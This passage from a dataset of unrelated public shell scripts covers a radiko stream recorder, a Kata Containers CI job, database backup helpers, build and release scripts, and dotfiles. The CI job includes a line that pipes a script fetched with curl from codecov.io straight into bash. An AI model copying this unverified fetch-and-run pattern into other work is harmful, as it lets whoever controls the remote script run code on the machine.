left_days -= days_of_month[i];\n month++;\n }\n }\n\n printf(\"%04d%02d%02d%02d%02d\", year, month, day, hour, minute);\n }')\n\n echo \"${datetime}\"\n return 0\n}\n\n# Define argument values\nstation_id=\nfromtime=\ntotime=\nduration=\nurl=\nmail=\npassword=\noutput=\n\n# Argument none?\nif [ $# -lt 1 ]; then\n show_usage\n finalize\n exit 1\nfi\n\n# Parse argument\nwhile getopts s:f:t:d:m:u:p:o: option; do\n case \"${option}\" in\n s)\n station_id=\"${OPTARG}\"\n ;;\n f)\n fromtime=\"${OPTARG}\"\n ;;\n t)\n totime=\"${OPTARG}\"\n ;;\n d)\n duration=\"${OPTARG}\"\n ;;\n m)\n mail=\"${OPTARG}\"\n ;;\n u)\n url=\"${OPTARG}\"\n ;;\n p)\n password=\"${OPTARG}\"\n ;;\n o)\n output=\"${OPTARG}\"\n ;;\n \\?)\n show_usage\n finalize\n exit 1\n ;;\n esac\ndone\n\n# Get program infomation from URL (-u option)\nif [ -n \"${url}\" ]; then\n # Extract station ID and record start datetime\n station_id=$(echo \"${url}\" | sed -n 's/^https\\{0,1\\}:\\/\\/radiko\\.jp\\/#!\\/ts\\/\\(.\\{1,\\}\\)\\/[0-9]\\{14,14\\}$/\\1/p')\n ft=$(echo \"${url}\" | sed -n 's/^https\\{0,1\\}:\\/\\/radiko\\.jp\\/#!\\/ts\\/.\\{1,\\}\\/\\([0-9]\\{14,14\\}\\)$/\\1/p')\n fromtime=$(echo \"${ft}\" | cut -c 1-12)\n if [ -z \"${station_id}\" ] || [ -z \"${fromtime}\" ]; then\n echo \"Parse URL failed\" >&2\n finalize\n exit 1\n fi\n\n # Extract record end datetime\n totime=$(curl --silent \"http://radiko.jp/v3/program/station/weekly/${station_id}.xml\" \\\n | xmllint --xpath \"/radiko/stations/station[@id='${station_id}']/progs/prog[@ft='${ft}']/@to\" - \\\n | sed -n 's/^[ ]\\{0,\\}to=[\"'']\\{0,\\}\\([0-9]\\{14,14\\}\\)[\"'']\\{0,\\}$/\\1/p' \\\n | cut -c 1-12)\n if [ -z \"${totime}\" ]; then\n echo \"Parse URL failed\" >&2\n finalize\n exit 1\n fi\nfi\n\n# Convert to UNIX time\nutime_from=$(to_unixtime \"${fromtime}\")\nutime_to=0\nif [ -n \"${totime}\" ]; then\n utime_to=$(to_unixtime \"${totime}\")\nfi\n\n# Check argument parameter\nif [ -z \"${station_id}\" ]; then\n # -s value is empty\n echo \"Require \\\"Station ID\\\"\" >&2\n finalize\n exit 1\nfi\nif [ -z \"${fromtime}\" ]; then\n # -f value is empty\n echo \"Require \\\"Record start datetime\\\"\" >&2\n finalize\n exit 1\nfi\nif [ \"${utime_from}\" -lt 0 ]; then\n # -f value is empty\n echo \"Invalid \\\"Record start datetime\\\" format\" >&2\n finalize\n exit 1\nfi\nif [ -z \"${totime}\" ] && [ -z \"${duration}\" ]; then\n # -t value and -d value are empty\n echo \"Require \\\"Record end datetime\\\" or \\\"Record minutes\\\"\" >&2\n finalize\n exit 1\nfi\nif [ \"${utime_to}\" -lt 0 ]; then\n # -t value is invalid\n echo \"Invalid \\\"Record end datetime\\\" format\" >&2\n finalize\n exit 1\nfi\nif [ -n \"${duration}\" ] && [ -z \"$(echo \"${duration}\" | awk '/^[0-9]+$/ {print $0}')\" ]; then\n # -d value is invalid\n echo \"Invalid \\\"Record minute\\\"\" >&2\n finalize\n exit 1\nfi\n\n# Calculate totime (-d option)\nif [ -n \"${duration}\" ]; then\n # Compare -t value and -d value\n utime_to1=${utime_to}\n utime_to2=$((utime_from + (duration * 60)))\n\n if [ \"${utime_to1}\" -lt ${utime_to2} ]; then\n # Set -d value\n utime_to=${utime_to2}\n fi\n\n totime=$(to_datetime \"${utime_to}\")\nfi\n\n# Login premium\nif [ -n \"${mail}\" ]; then\n login \"${mail}\" \"${password}\"\n ret=$?\n\n if [ ${ret} -ne 0 ]; then\n echo \"Cannot login Radiko premium\" >&2\n finalize\n exit 1\n fi\nfi\n\n# Authorize 1\nauth1_res=$(curl \\\n --silent \\\n --header \"X-Radiko-App: pc_html5\" \\\n --header \"X-Radiko-App-Version: 0.0.1\" \\\n --header \"X-Radiko-Device: pc\" \\\n --header \"X-Radiko-User: dummy_user\" \\\n --dump-header - \\\n --output /dev/null \\\n \"https://radiko.jp/v2/api/auth1\")\n\n# Get partial key\nauthtoken=$(echo \"${auth1_res}\" | awk 'tolower($0) ~/^x-radiko-authtoken: / {print substr($0,21,length($0)-21)}')\nkeyoffset=$(echo \"${auth1_res}\" | awk 'tolower($0) ~/^x-radiko-keyoffset: / {print substr($0,21,length($0)-21)}')\nkeylength=$(echo \"${auth1_res}\" | awk 'tolower($0) ~/^x-radiko-keylength: / {print substr($0,21,length($0)-21)}')\n\nif [ -z \"${authtoken}\" ] || [ -z \"${keyoffset}\" ] || [ -z \"${keylength}\" ]; then\n echo \"auth1 failed\" >&2\n finalize\n exit 1\nfi\n\npartialkey=$(echo \"${AUTHKEY_VALUE}\" | dd bs=1 \"skip=${keyoffset}\" \"count=${keylength}\" 2> /dev/null | base64)\n\n# Authorize 2\nauth2_url_param=\"\"\nif [ -n \"${radiko_session}\" ]; then\n auth2_url_param=\"?radiko_session=${radiko_session}\"\nfi\ncurl \\\n --silent \\\n --header \"X-Radiko-Device: pc\" \\\n --header \"X-Radiko-User: dummy_user\" \\\n --header \"X-Radiko-AuthToken: ${authtoken}\" \\\n --header \"X-Radiko-PartialKey: ${partialkey}\" \\\n --output /dev/null \\\n \"https://radiko.jp/v2/api/auth2${auth2_url_param}\"\nret=$?\n\nif [ ${ret} -ne 0 ]; then\n echo \"auth2 failed\" >&2\n finalize\n exit 1\nfi\n\n# Generate default file path\nif [ -z \"${output}\" ]; then\n output=\"${station_id}_${fromtime}_${totime}.mp3\"\nelse\n # Fix file path extension\n echo \"${output}\" | grep -q \"\\\\.mp3$\"\n ret=$?\n\n if [ ${ret} -ne 0 ]; then\n # Add .mp3\n output=\"${output}.mp3\"\n fi\nfi\n\n# Record\nffmpeg \\\n -loglevel error \\\n -fflags +discardcorrupt \\\n -headers \"X-Radiko-Authtoken: ${authtoken}\" \\\n -i \"https://radiko.jp/v2/api/ts/playlist.m3u8?station_id=${station_id}&l=15&ft=${fromtime}00&to=${totime}00\" \\\n -vn \\\n -y \\\n \"${output}\"\nret=$?\n\nif [ ${ret} -ne 0 ]; then\n echo \"Record failed\" >&2\n finalize\n exit 1\nfi\n\n# Finish\nfinalize\nexit 0"} {"text": "<reponame>muthiahmuthukumar/hudson\n#!/bin/bash -ex\ntar cvzf send.tgz FindJava.java build.sh hudson.wxs\njava -jar hudson-cli.jar dist-fork -z send.tgz -l windows -f hudson.war=\"$1\" -Z result.tgz bash build.sh hudson.war"} {"text": "#!/bin/bash\n\nsudo ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0\nsudo ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid\nsudo dhcpd wlan0\n\n#exit"} {"text": "<reponame>glennhickey/vg2sg\n#!/bin/bash\n# rename a path. this is not a clever script, and relies on the\n# given path name being the only name in the graph. new vg\n# printed to stdout\n\nset -e\n\nVG=$1\nVG_PATH=$2\nVG_NEW_PATH=$3\n\nvg view $1 -j | jq . | sed -e \"s/\\\"name\\\"\\:\\ \\\"${2}\\\",/\\\"name\\\"\\:\\ \\\"${3}\\\",/\" | vg view -Jv -"} {"text": "#!/bin/sh -efuC\n\nreadonly TAG=\"$1\"; shift\n\nfor n in \\\n apt-BuildPreReq-basic-checkinstall \\\n apt-BuildPreReq-checkinstall \\\n apt-BuildPreReq-xxtra-heavy-load-checkinstall \\\n apt-BuildPreReq-under-pkdirect-checkinstall \\\n rpm-BuildPreReq-checkinstall \\\n\ndo\n ./tag-for-name.sh \"$n\" \"$TAG\" \"$@\"\ndone"} {"text": "<filename>nix/nixos/create-faucet-wallet/create-faucet-wallet.sh\n#!/run/current-system/sw/bin/bash\nset -euo pipefail\n\n[ $# -eq 0 ] && { echo \"No arguments provided. Use -h for help.\"; exit 1; }\n\nOUT=\"create-output.log\"\nID=\"faucet.id\"\n\nwhile getopts 'm:p:h' c\ndo\n case \"$c\" in\n m) MNEMONIC_PATH=\"$OPTARG\" ;;\n p) PASSPHRASE_PATH=\"$OPTARG\" ;;\n *)\n echo \"This command creates a faucet wallet from a 15 word mnemonic (Icarus style).\"\n echo \"usage: $0 -p [-m] [-o] [-h]\"\n echo \"\"\n echo \" -m file path to the mnemonic set (autogenerated if not specified)\"\n echo \" -p file path to the faucet passphrase\"\n exit 0\n ;;\n esac\ndone\n\nif [ -z \"${PASSPHRASE_PATH:-}\" ]; then\n echo \"-p is a required parameter\"\n exit 1\nelse\n PASSPHRASE=\"$(cat \"$PASSPHRASE_PATH\")\"\nfi\n\nif [ -z \"${MNEMONIC_PATH:-}\" ]; then\n MNEMONIC=\"${MNEMONIC:-\"$(@cardanoWalletByron@ mnemonic generate)\"}\"\nelse\n MNEMONIC=\"$(cat \"$MNEMONIC_PATH\")\"\nfi\n\n[ -s \"$ID\" ] && { echo \"A faucet wallet id already exists; delete the wallet and id file and retry as needed.\"; exit 0; }\n\nMNEMONIC=$MNEMONIC PASSPHRASE=$PASSPHRASE OUT=$OUT @expect@ << 'END' > /dev/null\n set chan [open $::env(OUT) w]\n set timeout 10\n spawn @cardanoWalletByron@ wallet create from-mnemonic --wallet-style icarus IcarusFaucetWallet\n sleep 0.1\n expect \"Please enter 15 mnemonic words : \"\n send -- \"$::env(MNEMONIC)\\r\"\n sleep 0.1\n expect \"Please enter a passphrase: \"\n send -- \"$::env(PASSPHRASE)\\r\"\n sleep 0.1\n expect \"Enter the passphrase a second time: \"\n send -- \"$::env(PASSPHRASE)\\r\"\n expect -re \"{.*\\n+}\"\n set KEY $expect_out(0,string)\n puts $chan $KEY\n close $chan\n exit 0\nEND\n\nif @jq@ -e '.id' < $OUT > /dev/null; then\n @jq@ -r '.id' < $OUT > \"$ID\"\nelse\n echo \"Faucet wallet create failed.\"\n exit 1\nfi\nexit 0"} {"text": "<gh_stars>1-10\n#/bin/sh\nmkdir out\nfor f in *.mp*; do ffmpeg -i \"$f\" -c:v libx264 -c:a copy +faststart out/\"${f%.mp*}.mp4\"; done\nfor f in *.MP*; do ffmpeg -i \"$f\" -c:v libx264 -c:a copy +faststart out/\"${f%.MP*}.mp4\"; done"} {"text": "<reponame>frodeanonsen/dotfiles\nif command -v yq >/dev/null 2>&1; then\n export HASS_SERVER=`cat ~/.dotfiles/secret.yaml | yq e '.hass.url' -`\n export HASS_TOKEN=`cat ~/.dotfiles/secret.yaml | yq e '.hass.token' -`\nfi"} {"text": "<reponame>jodh-intel/tests-1<filename>.ci/jenkins_job_build.sh\n#!/bin/bash\n#\n# Copyright (c) 2018 Intel Corporation\n#\n# SPDX-License-Identifier: Apache-2.0\n#\n\nset -e\n\n# Signify to all scripts that they are running in a CI environment\n[ -z \"${KATA_DEV_MODE}\" ] && export CI=true\n\n# Need the repo to know which tests to run.\nexport kata_repo=\"$1\"\n\necho \"Setup env for kata repository: $kata_repo\"\n\n[ -z \"$kata_repo\" ] && echo >&2 \"kata repo no provided\" && exit 1\n\ntests_repo=\"${tests_repo:-github.com/kata-containers/tests}\"\nruntime_repo=\"${runtime_repo:-github.com/kata-containers/runtime}\"\n\n# This script is intended to execute under Jenkins\n# If we do not know where the Jenkins defined WORKSPACE area is\n# then quit\nif [ -z \"${WORKSPACE}\" ]\nthen\n\techo \"Jenkins WORKSPACE env var not set - exiting\" >&2\n\texit 1\nfi\n\n# Put our go area into the Jenkins job WORKSPACE tree\nexport GOPATH=${WORKSPACE}/go\nmkdir -p \"${GOPATH}\"\n\n# Export all environment variables needed.\nexport GOROOT=\"/usr/local/go\"\nexport PATH=${GOPATH}/bin:/usr/local/go/bin:/usr/sbin:/sbin:${PATH}\n\nkata_repo_dir=\"${GOPATH}/src/${kata_repo}\"\ntests_repo_dir=\"${GOPATH}/src/${tests_repo}\"\n\n# Get the tests repository\nmkdir -p $(dirname \"${tests_repo_dir}\")\n[ -d \"${tests_repo_dir}\" ] || git clone \"https://${tests_repo}.git\" \"${tests_repo_dir}\"\n\n# Get the repository\nmkdir -p $(dirname \"${kata_repo_dir}\")\n[ -d \"${kata_repo_dir}\" ] || git clone \"https://${kata_repo}.git\" \"${kata_repo_dir}\"\n\npushd \"${kata_repo_dir}\"\n\npr_number=\n\n# $ghprbPullId and $ghprbTargetBranch are variables from\n# the Jenkins GithubPullRequestBuilder Plugin\n[ \"${ghprbPullId}\" ] && [ \"${ghprbTargetBranch}\" ] && pr_number=\"${ghprbPullId}\"\n\nif [ -n \"$pr_number\" ]\nthen\n\tpr_branch=\"PR_${pr_number}\"\n\n\t# Create a separate branch for the PR. This is required to allow\n\t# checkcommits to be able to determine how the PR differs from\n\t# \"master\".\n\tgit fetch origin \"pull/${pr_number}/head:${pr_branch}\"\n\tgit checkout \"${pr_branch}\"\n\tgit rebase \"origin/${ghprbTargetBranch}\"\n\n\t# As we currently have CC and runv runtimes as git submodules\n\t# we need to update the submodules in order to get\n\t# the correct changes.\n\t# This condition should be removed when we have one runtime.\n\t[ -f .gitmodules ] && git submodule update\nelse\n\t# Othewise we test the master branch\n\tgit fetch origin && git checkout master && git reset --hard origin/master\nfi\n\n# Install go after repository is cloned and checkout to PR\n# This ensures:\n# - We have latest changes in install_go.sh\n# - We got get changes if versions.yaml changed.\n${GOPATH}/src/${tests_repo}/.ci/install_go.sh -p\n\n# Make sure runc is default runtime.\n# This is needed in case a new image creation.\n# See https://github.com/clearcontainers/osbuilder/issues/8\n\"${GOPATH}/src/${tests_repo}/cmd/container-manager/manage_ctr_mgr.sh\" docker configure -r runc -f\n\n# Setup Kata Containers Environment\n#\n# - If the repo is \"tests\", this will call the script living in that repo\n# directly.\n# - If the repo is not \"tests\", call the repo-specific script (which is\n# expected to call the script of the same name in the \"tests\" repo).\n.ci/setup.sh\n\n# Run the static analysis tools\nif [ -z \"${METRICS_CI}\" ]\nthen\n\t.ci/static-checks.sh\nfi\n\nif [ -n \"$pr_number\" ]\nthen\n\t# Now that checkcommits has run, move the PR commits into the master\n\t# branch before running the tests. Having the commits in \"master\" is\n\t# required to ensure coveralls works.\n\tgit checkout master\n\tgit reset --hard \"$pr_branch\"\n\tgit branch -D \"$pr_branch\"\nfi\n\nif [ -z \"${METRICS_CI}\" ]\nthen\n\tif [ \"${kata_repo}\" != \"${tests_repo}\" ]\n\tthen\n\t\techo \"INFO: Running unit tests for repo $kata_repo\"\n\t\tmake test\n\tfi\n\n\t# Run integration tests\n\t#\n\t# Note: this will run all classes of tests for ${tests_repo}.\n\t.ci/run.sh\n\n\t# Code coverage\n\tbash <(curl -s https://codecov.io/bash)\nfi\n\npopd"} {"text": "#!/usr/bin/env bash\n#\n# Author: <NAME> <<EMAIL>>\n# Date: time\n#\n# This script will do the following things:\n#"} {"text": "<filename>src/main/sh/build_commit_message.sh\n#!/usr/bin/env bash\n\nset -eo pipefail\n\nevent_file=\"$1\"\nmessage_file=\"$2\"\n\njq -r '.head_commit.message' \"$event_file\" > \"$message_file\"\necho >> \"$message_file\"\necho 'Triggered by change in source repo:' >> \"$message_file\"\njq -r '.head_commit.url' \"$event_file\" >> \"$message_file\"\necho 'Powered by insync:' >> \"$message_file\"\necho 'https://github.com/marketplace/actions/in-sync-action' >> \"$message_file\""} {"text": "<reponame>GuessWhatBBQ/dotfiles\n#!/usr/bin/bash\n\nfunction win_list_prod {\n declare -a windows_string=$(wmctrl -lx | cut -c -10)\n\n while read -r win_id;\n do\n window_list+=(\"$win_id\")\n done <<< \"$windows_string\"\n}\n\n\n\ndeclare -a apps=(\"spotify\" \"terminator\" \"atom\" \"firefox\" \"discord\")\ndeclare -a pos=(5, 2, 4, 3, 6)\n\ndeclare -a win_id=()\ndeclare -a window_list=()\ndeclare -a windows_string=()\n\nlet size=${#apps[@]}\n\nfor i in $(seq 0 $(($size-1)));\ndo\n\n win_list_prod\n last_added_window=${window_list[$((${#window_list[@]}-1))]}\n\n $(${apps[$i]} >> /tmp/prog.log 2>&1 &)\n sleep 1\n\n win_list_prod\n new_added_window=${window_list[$((${#window_list[@]}-1))]}\n\n while [[ last_added_window -eq new_added_window ]];\n do\n sleep 0.1\n win_list_prod\n new_added_window=${window_list[$((${#window_list[@]}-1))]}\n done\n\n echo $new_added_window ${pos[$i]}\n sleep 1\n # wmctrl -ir $new_added_window -t ${pos[$i]}\n i3-msg \"[id=\"$new_added_window\"] move container to workspace ${pos[$i]}\"\ndone"} {"text": "<filename>vagrant/php/install.sh\n#!/usr/bin/env bash\n\necho \"----- Provision: Installing php ...\"\napt-get install -y \\\n php7.1 \\\n php7.1-mbstring \\\n php7.1-xml \\\n php7.1-zip\n\necho \"----- Provision: Installing composer ...\"\nEXPECTED_SIGNATURE=$(wget -q -O - https://composer.github.io/installer.sig)\nphp -r \"copy('https://getcomposer.org/installer', 'composer-setup.php');\"\nACTUAL_SIGNATURE=$(php -r \"echo hash_file('SHA384', 'composer-setup.php');\")\n\nif [ \"$EXPECTED_SIGNATURE\" != \"$ACTUAL_SIGNATURE\" ]\nthen\n >&2 echo 'ERROR: Invalid installer signature'\nelse\n php composer-setup.php --quiet --install-dir=/usr/local/bin --filename=composer\nfi\n\nrm composer-setup.php"} {"text": "#!/bin/sh\n\nARCH=$1\nMALLOC_IMPL=mallocng\n\nARCH_FILES=src/*/x86_64/*.[csS]\n\nHAVE=$(echo $ARCH_FILES | tr ' ' '\\n' | sed 's|'$ARCH/'||g' | cut -d'.' -f 1)\necho $ARCH_FILES | tr ' ' '\\n'\n\nFILES=$(echo src/*/*.[csS] | tr ' ' '\\n')\nfor have in $HAVE; do\n FILES=$(echo $FILES | tr ' ' '\\n' | grep -v $have'.[csS]')\ndone\n\necho $FILES | tr ' ' '\\n'\n\necho src/malloc/$MALLOC_IMPL/*.[csS] | tr ' ' '\\n'\n\n#find src/*/ -maxdepth 1 -name '*.[csS]'\n\n#find src/*/$ARCH -maxdepth 1 -name '*.[csS]'"} {"text": "#!/bin/bash\n\ncurl -H 'Content-Type: application/json' -d @- 'http://localhost:8081/ingest' <<EOF\n{\n \"examples/shopping/users\": [\n {\n \"id\": 8,\n \"name\": \"<NAME>\",\n \"email\": \"<EMAIL>\"\n }\n ]\n}\nEOF"} {"text": "<reponame>pyconjp/pyconjp-website\n# run this script on project root path\nlessc --yui-compress symposion/static/less/site.less > symposion/static/css/site.css"} {"text": "# This causes the environment from the current client to be pushed into the \n# session, and then read into the shell's environment. tmux switch-client \n# switches the current client to the current session, which would seem to be a \n# no-op, but it also updates the session environment from the current client \n# (new feature). This means if you have two clients from different machines on \n# the one session, you can ensure you have the environment from the client you \n# are operating. show-environment -s outputs the session environment in a form \n# that the shell can eval, setting or unsetting variables.\n\n# This is cheap enough to put in a prompt_command or even a debug trap so that \n# at every prompt, your DISPLAY, SSH_AGENT, GPG_AGENT, DBUS_BUS_SESSION_ADDRESS, \n# etc are all correct and you can just run commands and have them always use the \n# correct environment for the client.\n\n# this will run with every prompt\n# make the debug trap run before every command in the shell:\n# export=\"DEBUG_BEFORE_CMD\"\n\n# TRAPDEBUG() {\n# \tif [ -n \"$TMUX\" ]; then\n# \t\teval $(tmux switch-client \\; show-environment -s)\n# \tfi\n# }"} {"text": "#!/usr/bin/env bash\n\n# ---------------------------------------------\n\n# Install a Gem\n\ngem_list=\"\"\n\ngem_install() {\n\n package=\"$1\"\n\n if [[ ${gem_list} = \"\" ]]; then\n print_status \"Fetching installed packages. This could take a while...\\n\"\n gem_list=$(gem list)\n fi\n\n if [[ \"$(echo \"${gem_list}\" | grep \"${package}\")\" ]]; then\n print_success \"$package (already installed)\"\n else\n execute \"gem install $package\" \"$package\"\n fi\n}"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n\nHOST=${DATABASE_HOST-${MARIADB_PORT_3306_TCP_ADDR-localhost}}\nPORT=${DATABASE_PORT-${MARIADB_PORT_3306_TCP_PORT-3306}}\nUSER=${DATABASE_USER-root}\nPASS=${DATABASE_PASS-${MARIADB_ENV_MYSQL_ROOT_PASSWORD}}\n# This could be made db specific by using --defaults-file=\nMYCONN=\"--user=${USER} --password=${PASS} --host=${HOST} --port=${PORT}\"\nMYSQL=\"mysql ${MYCONN}\"\nMYSQLDUMP=\"mysqldump $MYCONN\"\nMYCHECK=\"mysqlcheck ${MYCONN}\"\nGZIP=\"gzip --fast\"\n\n# this function is not actually called anywhere\ncreate_my_cnf() {\n (\n echo \"[client]\"\n echo \"password=<PASSWORD>\"\n echo \"user=$USER\"\n echo \"host=$HOST\"\n echo \"port=$PORT\"\n ) > ~/.my.cnf && chmod 600 ~/.my.cnf\n}\n\nwait_mariadb() {\n # Wait for MariaDB to be available\n TIMEOUT=${3:-30}\n echo -n \"Waiting to connect to MariaDB at ${1-$HOST}:${2-$PORT}\"\n for (( i=0;; i++ )); do\n if [ ${i} -eq ${TIMEOUT} ]; then\n echo \" timeout!\"\n exit 99\n fi\n sleep 1\n (exec 3<>/dev/tcp/${1-$HOST}/${2-$PORT}) &>/dev/null && break\n echo -n \".\"\n done\n echo \" connected.\"\n exec 3>&-\n exec 3<&-\n}\n\ngenpasswd() {\n # Ambiguous characters have been been excluded\n CHARS=\"abcdefghijkmnpqrstuvwxyz23456789ABCDEFGHJKLMNPQRSTUVWXYZ\"\n\n export LC_CTYPE=C # Quiet tr warnings\n local length\n length=\"${1:-16}\"\n set +o pipefail\n strings < /dev/urandom | tr -dc \"${CHARS}\" | head -c \"${length}\" | xargs\n set -o pipefail\n}\n\nechoerr() { echo \"$@\" 1>&2; }\n\nget_storage_commands() {\n case \"${1}\" in\n gs://*)\n echo \">> Storage type: gsutil\"\n save_cmd=( \"gsutil\" \"rsync\" )\n ls_cmd=( \"gsutil\" \"ls\" )\n fetch_cmd=( \"gsutil\" \"cp\" )\n storage_type=\"gs\"\n gsutil_auth\n ;;\n s3://*)\n echo \">> Storage type: aws s3\"\n # Workaround for no environment variable for --endpoint-url https://github.com/aws/aws-cli/issues/4454\n AWS_S3_ADDITIONAL_ARGS=${AWS_S3_ADDITIONAL_ARGS-''}\n save_cmd=( \"aws\" \"s3\" \"sync\" \"--no-progress\" \"${AWS_S3_ADDITIONAL_ARGS}\" )\n ls_cmd=( \"aws\" \"s3\" \"ls\" \"${AWS_S3_ADDITIONAL_ARGS}\" )\n fetch_cmd=( \"aws\" \"s3\" \"cp\" \"${AWS_S3_ADDITIONAL_ARGS}\" )\n storage_type=\"s3\"\n ;;\n file://*|/*|./*)\n echo \">> Storage type: file\"\n save_cmd=( \"ls\" )\n ls_cmd=( \"ls\" )\n fetch_cmd=( \"cat\" )\n source=\"${source#file:\\/\\/}\"\n storage_type=\"file\"\n ;;\n *)\n echoerr \"Unknown storage type\"\n exit 1\n ;;\n esac\n}\n\nget_compression_commands() {\n case \"${1:-gzip}\" in\n \"gzip\")\n file_ext+=( \".gz\" )\n compression_cmd=( \"gzip\" \"--fast\" )\n decompression_cmd=( \"gzip\" \"--fast\" \"-d\" )\n ;;\n \"lz4\")\n file_ext+=( \".lz4\" )\n compression_cmd=( \"lz4\" \"-c\" )\n decompression_cmd=( \"lz4\" \"-c\" \"-d\" )\n ;;\n \"bz2\"|\"bzip2\")\n file_ext+=( \".bz2\" )\n compression_cmd=( \"bzip2\" \"-c\" )\n decompression_cmd=( \"bzip2\" \"-c\" \"-d\" )\n ;;\n \"zip\")\n echoerr \"ZIP not implemented\"\n exit 1\n ;;\n \"none\")\n compression_cmd=( \"cat\" )\n decompression_cmd=( \"cat\" )\n ;;\n *)\n echoerr \"Unknown compression method\"\n exit 1\n ;;\n esac\n}\n\n# this function is not actually called anywhere\ngsutil_auth() {\n if [[ -n \"${SKIP_GSUIT_AUTH:-}\" ]]; then\n return\n elif [[ -n \"${GOOGLE_APPLICATION_CREDENTIALS:-}\" ]]; then\n # if GOOGLE_APPLICATION_CREDENTIALS is set with a service account key\n printf \"%s\\n\" \\\n \"[Credentials]\" \\\n \"gs_service_key_file = ${GOOGLE_APPLICATION_CREDENTIALS}\" > /etc/boto.cfg\n elif curl --max-time 2 -sSf 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/' -H \"Metadata-Flavor: Google\"; then\n # if GCE metadata is set and a default service-account is present\n printf \"%s\\n\" \\\n \"[Credentials]\" \\\n \"service_account = default\" > /etc/boto.cfg\n fi\n}"} {"text": "#!/bin/sh\n\nset -e\n\nVERSION=$1\nPGP_KEYID=$2\n\nif [ \"x$PGP_KEYID\" = \"x\" ]; then\n echo \"try with $0 VERSION PGP_KEYID\"\n echo \"example: $0 3.0.4 9D1C0E79\"\n exit\nfi\n\nif ! head -3 NEWS | grep -q \"Version $VERSION .released `date -I`\"; then\n echo \"You need to update date/version in NEWS\"\n exit\nfi\n\nif ! head -10 YKPersonalization.pro | grep -q \"VERSION_MAJOR.*= `echo $VERSION | cut -d. -f1`\"; then\n echo \"You need to update version in YKPersonalization.pro\"\n exit\nfi\nif ! head -10 YKPersonalization.pro | grep -q \"VERSION_MINOR.*= `echo $VERSION | cut -d. -f2`\"; then\n echo \"You need to update version in YKPersonalization.pro\"\n exit\nfi\nif ! head -10 YKPersonalization.pro | grep -q \"VERSION_BUILD.*= `echo $VERSION | cut -d. -f3`\"; then\n echo \"You need to update version in YKPersonalization.pro\"\n exit\nfi\n\nif [ \"x$YUBICO_GITHUB_REPO\" = \"x\" ]; then\n echo \"you need to define YUBICO_GITHUB_REPO\"\n exit\nfi\n\nreleasename=yubikey-personalization-gui-${VERSION}\n\ngit push\ngit tag -u ${PGP_KEYID}! -m $VERSION $releasename\ngit push --tags\ntmpdir=`mktemp -d /tmp/release.XXXXXX`\nreleasedir=${tmpdir}/${releasename}\nmkdir -p $releasedir\ngit archive $releasename --format=tar | tar -xC $releasedir\ngit2cl > $releasedir/ChangeLog\ntar -cz --directory=$tmpdir --file=${releasename}.tar.gz $releasename\ngpg --detach-sign --default-key $PGP_KEYID ${releasename}.tar.gz\n$YUBICO_GITHUB_REPO/publish yubikey-personalization-gui $VERSION ${releasename}.tar.gz*\nrm -rf $tmpdir\nrm -rf $stagedir"} {"text": "<reponame>pajamapants3000/BLFS_scripts_etc\n#!/bin/bash -ev\n#\n# Installation Script\n# Written by: <NAME> <<EMAIL>>\n# Github: https://github.com/pajamapants3000\n# Legal: See LICENSE in parent directory\n#\n#\n# Dependencies\n#**************\n# Begin Required\n#Xorg Libraries\n#libdrm-2.4.64 \n# End Required\n# Begin Recommended\n#elfutils-0.163\n#libvdpau-1.1\n#llvm-3.6.2\n# End Recommended\n# Begin Optional\n#mesa-demos\n#Wayland\n# End Optional\n# Begin Kernel\n# End Kernel\n#\n# Installation\n#**************\n# Check for previous installation:\nPROCEED=\"yes\"\nREINSTALL=0\ngrep \"mesa-\" /list-$CHRISTENED\"-\"$SURNAME > /dev/null && ((\\!$?)) &&\\\n REINSTALL=1 && echo \"Previous installation detected, proceed?\" && read PROCEED\n[ $PROCEED = \"yes\" ] || [ $PROCEED = \"y\" ] || exit 0\n# Download:\nwget ftp://ftp.freedesktop.org/pub/mesa/10.6.5/mesa-10.6.5.tar.xz\n# md5sum:\necho \"805092cc9b9784680c1db7aa6415517e mesa-10.6.5.tar.xz\" | md5sum -c ;\\\n ( exit ${PIPESTATUS[0]} )\n#\nsource ${HOME}/.blfs_profile\n# Recommended patch\nwget http://www.linuxfromscratch.org/patches/blfs/svn/mesa-10.6.5-add_xdemos-1.patch\ntar -xvf mesa-10.6.5.tar.xz\ncd mesa-10.6.5\npatch -Np1 -i ../mesa-10.6.5-add_xdemos-1.patch\n./configure CFLAGS='-O2' CXXFLAGS='-O2' \\\n --prefix=$XORG_PREFIX \\\n --sysconfdir=/etc \\\n --enable-texture-float \\\n --enable-gles1 \\\n --enable-gles2 \\\n --enable-osmesa \\\n --enable-xa \\\n --enable-gbm \\\n --enable-glx-tls \\\n --with-egl-platforms=\"drm,x11\" \\\n --with-gallium-drivers=\"$GALLIUM_DRIVERS\"\nmake\nmake -C xdemos DEMOS_PREFIX=$XORG_PREFIX\n# Test:\nmake check\n#\nas_root make install\nas_root make -C xdemos DEMOS_PREFIX=$XORG_PREFIX install\n# opt docs\nas_root install -v -dm755 /usr/share/doc/mesa-10.6.5\nas_root cp -rfv docs/* /usr/share/doc/mesa-10.6.5\ncd ..\nas_root rm -rf mesa-10.6.5\n#\n# Add to installed list for this computer:\necho \"mesa-10.6.5\" >> /list-$CHRISTENED\"-\"$SURNAME\n#\n###################################################"} {"text": "<reponame>majo418/ubuntudind\n#!/bin/bash\n\ndocker run -it --privileged --rm \\\n --name ubuntudind-test \\\n --network host \\\n ubuntudind \\\n bash"} {"text": "<reponame>atheheath/ultitracker-frontend\n#!/bin/bash\naws elasticbeanstalk create-environment \\\n --application-name ultitracker-frontend \\\n --environment-name ultitracker-frontend-0-0-10 \\\n --tier \"Name=WebServer,Type=Standard,Version= \" \\\n --solution-stack-name \"64bit Amazon Linux 2018.03 v4.13.1 running Node.js\" \\\n --version-label ultitracker-frontend-0-0-8 \\\n --option-settings file://./environment-config-https.json"} {"text": "<reponame>VictorRodriguez/contcov\n#!/bin/bash\n\ncontainer-diff &> /dev/null\n\nif [ $? -eq 0 ]\nthen\n\techo \"Successfully installed container-diff\"\nelse\n\techo \"container-diff need to be installed\" >&2\ncurl -LO https://storage.googleapis.com/container-diff/latest/container-diff-linux-amd64 \\\n\t&& chmod +x container-diff-linux-amd64 \\\n\t&& mkdir -p $HOME/bin \\\n\t&& export PATH=$PATH:$HOME/bin \\\n\t&& mv container-diff-linux-amd64 $HOME/bin/container-diff\nfi"} {"text": "<filename>circos_plot_mp1_me10.sh\n# Circos plots - test with 